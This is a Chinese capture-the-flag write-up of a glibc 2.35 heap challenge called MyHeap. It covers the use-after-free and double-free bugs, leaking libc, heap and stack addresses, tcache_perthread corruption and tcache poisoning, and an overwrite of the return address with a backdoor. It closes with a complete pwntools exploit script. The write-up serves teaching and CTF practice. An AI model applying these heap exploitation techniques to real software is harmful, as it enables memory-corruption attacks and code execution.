前言
找华南赛区的师傅要了一份半决赛的Pwn题,听说只有一道题。
题目很简单,可以申请任意大小chunk,并存在UAF、DoubleFree漏洞。
还给了后门函数,不过限制是edit只能写8字节的数据到chunk中。
MyHeap
逆向分析
拖入IDA分析:

题目给了2.35版本的libc和ld,经典菜单题。逐个功能分析。
add函数:

可以申请任意大小的chunk,只能同时有一个chunk指针存储在bss段。并且可以申请0x4F0大小chunk,但是没有返回指针。
delete函数:

没有清空指针,存在UAF漏洞。
show函数:

打印chunk中7个字节数据,进行了异或加密,解密即可。可以用来泄露libc地址和heap地址。
edit函数:

可以修改8个字节的数据即fd指针位置。
最后给了一个后门函数:


可以泄露backdoor的地址,并且能够写一次16字节到chunk上,即同时覆盖fd和bk指针。
利用思路
题目保护全开,思路很清晰:
- 存在UAF漏洞,可以泄露libc和heap基地址。
- 可以输出backdoor函数地址,即泄露了程序基地址。(也就可以计算出bss_ptr的地址)
- 能够覆盖一次bk指针,可以清除tcache key进行double free,实现tcache attack。
既然实现了tcache attack,就可以任意地址(0x10对齐的地址)写8字节了。
由于只能写8字节数据,并且只能在0x10对齐的地址上写,需要考虑将backdoor函数写到哪里。
2.34开始,exit删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive,也就是我们常说的exit_hook。
当然,更没有malloc_hook、free_hook等函数了。这里提供3个攻击思路:
- 通过tls_dtor_list劫持exit,需要先泄露pointer_guard。
- 更简单的方法,直接修改vtable中的 overflow 或者 xsputn 等函数。(这个题的libc中vtable不可写)
- 泄露environ变量栈地址,然后修改返回地址为backdoor。
这里介绍第三种方法,将backdoor写回栈上的返回地址。
利用过程
编写异或解密函数:
1 2 3 4 5 6 | def decrypt(): p.recvuntil(b"the data:") enc = bytearray(p.recv(7)) for i in range(7): enc[i] ^= (i + 153) return bytes(enc) |
先泄露libc和heap地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | # leak heapadd_chunk(0x88)delete_chunk()show_chunk()heap_base = u64(decrypt().ljust(8, b'\x00')) << 12success("heap_base = " + hex(heap_base))# leak libcadd_chunk(0x418)## avoid merge to top_chunkp.sendlineafter(b"edit\n", b"1")p.sendlineafter(b"choose?\n", b"2")delete_chunk()show_chunk()libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000libc.address = libc_baseenviron = libc.sym['environ']success("libc_base = " + hex(libc_base))success("environ = " + hex(environ)) |
然后开始利用。
然而,使用后门函数清除key后进行double free,然后tcache poisoning,只能完成一次任意地址写。
因此,我们需要利用这一次tcache poisoning控制tcache_perthread,控制tcache的个数,实现tcache_perthread。
这样一来,由于我们可以写8个字节数据。可以控制4个tcache的个数,分别是0x20到0x50。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | add_chunk(0x88)delete_chunk()p.sendlineafter(b"edit\n", b"5")p.recvuntil(b"address: ")backdoor = int(p.recv(14), 16)elf_base = backdoor - 0x12besuccess("elf_base = " + hex(elf_base))success("backdoor = " + hex(backdoor))p.sendafter(b'data:', p64(0) + p64(0)) # clear tcache_keydelete_chunk()target = heap_base + 0x10edit_chunk(p64(heap_base >> 12 ^ target))add_chunk(0x88)add_chunk(0x88)delete_chunk()edit_chunk(p64(0)) |
我们已经成功控制的tcache_perthread的前8字节,然后往0x20和0x30大小的tcache中分别放入一个chunk用于后续tcache poisoning。
刚才释放的tcache_perthread放入了0x290的tcache中,再次申请回来并修改对应tcache大小为2。
1 2 3 4 5 6 7 8 9 | add_chunk(0x18)delete_chunk()add_chunk(0x28)delete_chunk()add_chunk(0x288)delete_chunk()edit_chunk(p16(2) + p16(2) + p16(0) + p16(0)) |
利用0x20大小的tcache泄露environ变量:
1 2 3 4 5 6 7 8 9 10 | # leak stackadd_chunk(0x18)delete_chunk()edit_chunk(p64((heap_base >> 12) ^ environ))add_chunk(0x18)add_chunk(0x18)show_chunk()stack_addr = u64(decrypt().ljust(8, b'\x00'))success("stack_addr = " + hex(stack_addr)) |
利用0x30大小的tcache控制bss段的chunk指针指向自己:
1 2 3 4 5 6 7 | # bss_ptr->&bss_ptradd_chunk(0x28)delete_chunk()target = elf_base + 0x4040edit_chunk(p64((heap_base >> 12) ^ target))add_chunk(0x28)add_chunk(0x28) |
然后,两次edit将backdoor写到返回地址:
1 2 3 4 5 6 7 8 | # ret_addr->backdoortarget = stack_addr - 0x140edit_chunk(p64(target))# gdb.attach(p, 'b *$rebase(0x1494)\nc')# pause()edit_chunk(p64(backdoor)) |
这里说一下为什么最后一次tcache poisoning需要控制bss段上的chunk指针而不是直接控制返回地址。
glibc2.32开始引入对申请和释放tcache时地址检查,地址必须0x10对齐,因此通过bss段上的chunk指针可以绕过这个保护。
这里还存在一个问题,直接返回backdoor的话会崩,gdb调试发现:

刚学pwn的时候ROP到system("/bin/sh")会崩,很多师傅告诉我是堆栈平衡的原因,这次仔细分析了一下。
是因为movaps这条汇编指令是SSE指令,考虑到效率问题,操作数必须0x10字节对齐。
因此,在执行system函数前,我们只需要将栈里多或少放0x8字节数据即可。
这里处理的话是让backdoor + 8,少执行一次push rbp。完整exp如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | from pwn import *elf = ELF("./pwn")libc = ELF("./libc-2.35.so")ld = ELF('./ld-2.35.so')p = process([elf.path])context(arch=elf.arch, os=elf.os)context.log_level = 'debug'def add_chunk(size): p.sendlineafter(b"edit\n", b"1") p.sendlineafter(b"choose?\n", b"1") p.sendlineafter(b"size:", str(size).encode())def delete_chunk(): p.sendlineafter(b"edit\n", b"2")def show_chunk(): p.sendlineafter(b"edit\n", b"3")def edit_chunk(content): p.sendlineafter(b"edit\n", b"4") p.sendafter(b"data:", content)def decrypt(): p.recvuntil(b"the data:") enc = bytearray(p.recv(7)) for i in range(7): enc[i] ^= (i + 153) return bytes(enc)# leak heapadd_chunk(0x88)delete_chunk()show_chunk()heap_base = u64(decrypt().ljust(8, b'\x00')) << 12success("heap_base = " + hex(heap_base))# leak libcadd_chunk(0x418)p.sendlineafter(b"edit\n", b"1")p.sendlineafter(b"choose?\n", b"2")delete_chunk()show_chunk()libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000libc.address = libc_baseenviron = libc.sym['environ']success("libc_base = " + hex(libc_base))success("environ = " + hex(environ))# tcache_perthread corruptionadd_chunk(0x88)delete_chunk()p.sendlineafter(b"edit\n", b"5")p.recvuntil(b"address: ")backdoor = int(p.recv(14), 16)elf_base = backdoor - 0x12besuccess("elf_base = " + hex(elf_base))success("backdoor = " + hex(backdoor))p.sendafter(b'data:', p64(0) + p64(0))delete_chunk()target = heap_base + 0x10edit_chunk(p64(heap_base >> 12 ^ target))add_chunk(0x88)add_chunk(0x88)delete_chunk()edit_chunk(p64(0))add_chunk(0x18)delete_chunk()add_chunk(0x28)delete_chunk()add_chunk(0x288)delete_chunk()edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))# leak stackadd_chunk(0x18)delete_chunk()edit_chunk(p64((heap_base >> 12) ^ environ))add_chunk(0x18)add_chunk(0x18)show_chunk()stack_addr = u64(decrypt().ljust(8, b'\x00'))success("stack_addr = " + hex(stack_addr))# ret_addr -> backdooradd_chunk(0x28)delete_chunk()target = elf_base + 0x4040edit_chunk(p64((heap_base >> 12) ^ target))add_chunk(0x28)add_chunk(0x28)target = stack_addr - 0x140edit_chunk(p64(target))# gdb.attach(p, 'b *$rebase(0x1494)\nc')# pause()edit_chunk(p64(backdoor + 8))p.interactive() |